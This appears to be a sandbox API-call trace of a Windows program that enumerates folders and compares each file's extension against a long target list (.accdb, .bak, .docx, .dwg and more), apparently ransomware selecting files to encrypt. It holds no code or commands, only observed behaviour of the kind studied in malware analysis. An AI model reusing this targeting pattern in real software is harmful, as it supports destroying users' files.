FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0225.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.188] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0225.248] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.248] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0225.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.251] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0225.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0225.253] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0225.253] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0225.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.254] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0225.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.254] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0225.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.256] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0225.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.258] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0225.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.258] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0225.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0225.261] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84dfa00, ftCreationTime.dwHighDateTime=0x1d5acff, ftLastAccessTime.dwLowDateTime=0x9390f380, ftLastAccessTime.dwHighDateTime=0x1d5f05e, ftLastWriteTime.dwLowDateTime=0x9390f380, ftLastWriteTime.dwHighDateTime=0x1d5f05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="showcase.exe", cAlternateFileName="")) returned 1 [0225.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0225.261] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xacb3863b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xacb3863b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0225.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.263] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb1743290, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xb1743290, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0225.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.267] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0225.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.272] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0225.360] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f0018, Size=0x4000) returned 0x6eb010 [0225.361] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0225.377] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6eb010, Size=0x8000) returned 0x4155070 [0225.377] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0225.415] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4155070, Size=0x10000) returned 0x4155070 [0225.415] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0225.697] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4155070, Size=0x20000) returned 0x41bde30 [0225.699] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0225.719] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41bde30, Size=0x40000) returned 0x41dde38 [0225.722] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf42d018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0226.084] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ebbf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf4ebbf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4ebbf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0226.084] lstrlenW (lpString="J0382969.JPG") returned 12 [0226.084] lstrlenW (lpString=".1cd") returned 4 [0226.084] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.084] lstrlenW (lpString=".3ds") returned 4 [0226.084] lstrcmpiW (lpString1=".3ds", lpString2=".JPG") returned -1 [0226.084] lstrlenW (lpString=".3fr") returned 4 [0226.084] lstrcmpiW (lpString1=".3fr", lpString2=".JPG") returned -1 [0226.084] lstrlenW (lpString=".3g2") returned 4 [0226.084] lstrcmpiW (lpString1=".3g2", lpString2=".JPG") returned -1 [0226.084] lstrlenW (lpString=".3gp") returned 4 [0226.084] lstrcmpiW (lpString1=".3gp", lpString2=".JPG") returned -1 [0226.084] lstrlenW (lpString=".7z") returned 3 [0226.084] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.084] lstrlenW (lpString=".accda") returned 6 [0226.084] lstrcmpiW (lpString1=".accda", lpString2="69.JPG") returned -1 [0226.084] lstrlenW (lpString=".accdb") returned 6 [0226.084] lstrcmpiW (lpString1=".accdb", lpString2="69.JPG") returned -1 [0226.084] lstrlenW (lpString=".accdc") returned 6 [0226.084] lstrcmpiW (lpString1=".accdc", lpString2="69.JPG") returned -1 [0226.084] lstrlenW (lpString=".accde") returned 6 [0226.084] lstrcmpiW (lpString1=".accde", lpString2="69.JPG") returned -1 [0226.084] lstrlenW (lpString=".accdt") returned 6 [0226.084] lstrcmpiW (lpString1=".accdt", lpString2="69.JPG") returned -1 [0226.085] lstrlenW (lpString=".accdw") returned 6 [0226.085] lstrcmpiW (lpString1=".accdw", lpString2="69.JPG") returned -1 [0226.085] lstrlenW (lpString=".adb") returned 4 [0226.085] lstrcmpiW (lpString1=".adb", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".adp") returned 4 [0226.085] lstrcmpiW (lpString1=".adp", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai") returned 3 [0226.085] lstrcmpiW (lpString1=".ai", lpString2="JPG") returned -1 [0226.085] lstrlenW (lpString=".ai3") returned 4 [0226.085] lstrcmpiW (lpString1=".ai3", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai4") returned 4 [0226.085] lstrcmpiW (lpString1=".ai4", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai5") returned 4 [0226.085] lstrcmpiW (lpString1=".ai5", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai6") returned 4 [0226.085] lstrcmpiW (lpString1=".ai6", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai7") returned 4 [0226.085] lstrcmpiW (lpString1=".ai7", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".ai8") returned 4 [0226.085] lstrcmpiW (lpString1=".ai8", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".anim") returned 5 [0226.085] lstrcmpiW (lpString1=".anim", lpString2="9.JPG") returned -1 [0226.085] lstrlenW (lpString=".arw") returned 4 [0226.085] lstrcmpiW (lpString1=".arw", lpString2=".JPG") returned -1 [0226.085] lstrlenW (lpString=".as") returned 3 [0226.085] lstrcmpiW (lpString1=".as", lpString2="JPG") returned -1 [0226.085] lstrlenW (lpString=".asa") returned 4 [0226.086] lstrcmpiW (lpString1=".asa", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".asc") returned 4 [0226.086] lstrcmpiW (lpString1=".asc", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".ascx") returned 5 [0226.086] lstrcmpiW (lpString1=".ascx", lpString2="9.JPG") returned -1 [0226.086] lstrlenW (lpString=".asm") returned 4 [0226.086] lstrcmpiW (lpString1=".asm", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".asmx") returned 5 [0226.086] lstrcmpiW (lpString1=".asmx", lpString2="9.JPG") returned -1 [0226.086] lstrlenW (lpString=".asp") returned 4 [0226.086] lstrcmpiW (lpString1=".asp", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".aspx") returned 5 [0226.086] lstrcmpiW (lpString1=".aspx", lpString2="9.JPG") returned -1 [0226.086] lstrlenW (lpString=".asr") returned 4 [0226.086] lstrcmpiW (lpString1=".asr", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".asx") returned 4 [0226.086] lstrcmpiW (lpString1=".asx", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".avi") returned 4 [0226.086] lstrcmpiW (lpString1=".avi", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".avs") returned 4 [0226.086] lstrcmpiW (lpString1=".avs", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".backup") returned 7 [0226.086] lstrcmpiW (lpString1=".backup", lpString2="969.JPG") returned -1 [0226.086] lstrlenW (lpString=".bak") returned 4 [0226.086] lstrcmpiW (lpString1=".bak", lpString2=".JPG") returned -1 [0226.086] lstrlenW (lpString=".bay") returned 4 [0226.086] lstrcmpiW (lpString1=".bay", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".bd") returned 3 [0226.087] lstrcmpiW (lpString1=".bd", lpString2="JPG") returned -1 [0226.087] lstrlenW (lpString=".bin") returned 4 [0226.087] lstrcmpiW (lpString1=".bin", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".bmp") returned 4 [0226.087] lstrcmpiW (lpString1=".bmp", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".bz2") returned 4 [0226.087] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".c") returned 2 [0226.087] lstrcmpiW (lpString1=".c", lpString2="PG") returned -1 [0226.087] lstrlenW (lpString=".cdr") returned 4 [0226.087] lstrcmpiW (lpString1=".cdr", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".cer") returned 4 [0226.087] lstrcmpiW (lpString1=".cer", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".cf") returned 3 [0226.087] lstrcmpiW (lpString1=".cf", lpString2="JPG") returned -1 [0226.087] lstrlenW (lpString=".cfc") returned 4 [0226.087] lstrcmpiW (lpString1=".cfc", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".cfm") returned 4 [0226.087] lstrcmpiW (lpString1=".cfm", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".cfml") returned 5 [0226.087] lstrcmpiW (lpString1=".cfml", lpString2="9.JPG") returned -1 [0226.087] lstrlenW (lpString=".cfu") returned 4 [0226.087] lstrcmpiW (lpString1=".cfu", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".chm") returned 4 [0226.087] lstrcmpiW (lpString1=".chm", lpString2=".JPG") returned -1 [0226.087] lstrlenW (lpString=".cin") returned 4 [0226.087] lstrcmpiW (lpString1=".cin", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".class") returned 6 [0226.088] lstrcmpiW (lpString1=".class", lpString2="69.JPG") returned -1 [0226.088] lstrlenW (lpString=".clx") returned 4 [0226.088] lstrcmpiW (lpString1=".clx", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".config") returned 7 [0226.088] lstrcmpiW (lpString1=".config", lpString2="969.JPG") returned -1 [0226.088] lstrlenW (lpString=".cpp") returned 4 [0226.088] lstrcmpiW (lpString1=".cpp", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".cr2") returned 4 [0226.088] lstrcmpiW (lpString1=".cr2", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".crt") returned 4 [0226.088] lstrcmpiW (lpString1=".crt", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".crw") returned 4 [0226.088] lstrcmpiW (lpString1=".crw", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".cs") returned 3 [0226.088] lstrcmpiW (lpString1=".cs", lpString2="JPG") returned -1 [0226.088] lstrlenW (lpString=".css") returned 4 [0226.088] lstrcmpiW (lpString1=".css", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".csv") returned 4 [0226.088] lstrcmpiW (lpString1=".csv", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".cub") returned 4 [0226.088] lstrcmpiW (lpString1=".cub", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".dae") returned 4 [0226.088] lstrcmpiW (lpString1=".dae", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".dat") returned 4 [0226.088] lstrcmpiW (lpString1=".dat", lpString2=".JPG") returned -1 [0226.088] lstrlenW (lpString=".db") returned 3 [0226.088] lstrcmpiW (lpString1=".db", lpString2="JPG") returned -1 [0226.089] lstrlenW (lpString=".dbf") returned 4 [0226.089] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dbx") returned 4 [0226.089] lstrcmpiW (lpString1=".dbx", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dc3") returned 4 [0226.089] lstrcmpiW (lpString1=".dc3", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dcm") returned 4 [0226.089] lstrcmpiW (lpString1=".dcm", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dcr") returned 4 [0226.089] lstrcmpiW (lpString1=".dcr", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".der") returned 4 [0226.089] lstrcmpiW (lpString1=".der", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dib") returned 4 [0226.089] lstrcmpiW (lpString1=".dib", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dic") returned 4 [0226.089] lstrcmpiW (lpString1=".dic", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".dif") returned 4 [0226.089] lstrcmpiW (lpString1=".dif", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".divx") returned 5 [0226.089] lstrcmpiW (lpString1=".divx", lpString2="9.JPG") returned -1 [0226.089] lstrlenW (lpString=".djvu") returned 5 [0226.089] lstrcmpiW (lpString1=".djvu", lpString2="9.JPG") returned -1 [0226.089] lstrlenW (lpString=".dng") returned 4 [0226.089] lstrcmpiW (lpString1=".dng", lpString2=".JPG") returned -1 [0226.089] lstrlenW (lpString=".doc") returned 4 [0226.090] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".docm") returned 5 [0226.090] lstrcmpiW (lpString1=".docm", lpString2="9.JPG") returned -1 [0226.090] lstrlenW (lpString=".docx") returned 5 [0226.090] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0226.090] lstrlenW (lpString=".dot") returned 4 [0226.090] lstrcmpiW (lpString1=".dot", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dotm") returned 5 [0226.090] lstrcmpiW (lpString1=".dotm", lpString2="9.JPG") returned -1 [0226.090] lstrlenW (lpString=".dotx") returned 5 [0226.090] lstrcmpiW (lpString1=".dotx", lpString2="9.JPG") returned -1 [0226.090] lstrlenW (lpString=".dpx") returned 4 [0226.090] lstrcmpiW (lpString1=".dpx", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dqy") returned 4 [0226.090] lstrcmpiW (lpString1=".dqy", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dsn") returned 4 [0226.090] lstrcmpiW (lpString1=".dsn", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dt") returned 3 [0226.090] lstrcmpiW (lpString1=".dt", lpString2="JPG") returned -1 [0226.090] lstrlenW (lpString=".dtd") returned 4 [0226.090] lstrcmpiW (lpString1=".dtd", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dwg") returned 4 [0226.090] lstrcmpiW (lpString1=".dwg", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dwt") returned 4 [0226.090] lstrcmpiW (lpString1=".dwt", lpString2=".JPG") returned -1 [0226.090] lstrlenW (lpString=".dx") returned 3 [0226.090] lstrcmpiW (lpString1=".dx", lpString2="JPG") returned -1 [0226.090] lstrlenW (lpString=".dxf") returned 4 [0226.091] lstrcmpiW (lpString1=".dxf", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".edml") returned 5 [0226.091] lstrcmpiW (lpString1=".edml", lpString2="9.JPG") returned -1 [0226.091] lstrlenW (lpString=".efd") returned 4 [0226.091] lstrcmpiW (lpString1=".efd", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".elf") returned 4 [0226.091] lstrcmpiW (lpString1=".elf", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".emf") returned 4 [0226.091] lstrcmpiW (lpString1=".emf", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".emz") returned 4 [0226.091] lstrcmpiW (lpString1=".emz", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".epf") returned 4 [0226.091] lstrcmpiW (lpString1=".epf", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".eps") returned 4 [0226.091] lstrcmpiW (lpString1=".eps", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".epsf") returned 5 [0226.091] lstrcmpiW (lpString1=".epsf", lpString2="9.JPG") returned -1 [0226.091] lstrlenW (lpString=".epsp") returned 5 [0226.091] lstrcmpiW (lpString1=".epsp", lpString2="9.JPG") returned -1 [0226.091] lstrlenW (lpString=".erf") returned 4 [0226.091] lstrcmpiW (lpString1=".erf", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".exr") returned 4 [0226.091] lstrcmpiW (lpString1=".exr", lpString2=".JPG") returned -1 [0226.091] lstrlenW (lpString=".f4v") returned 4 [0226.091] lstrcmpiW (lpString1=".f4v", lpString2=".JPG") returned -1 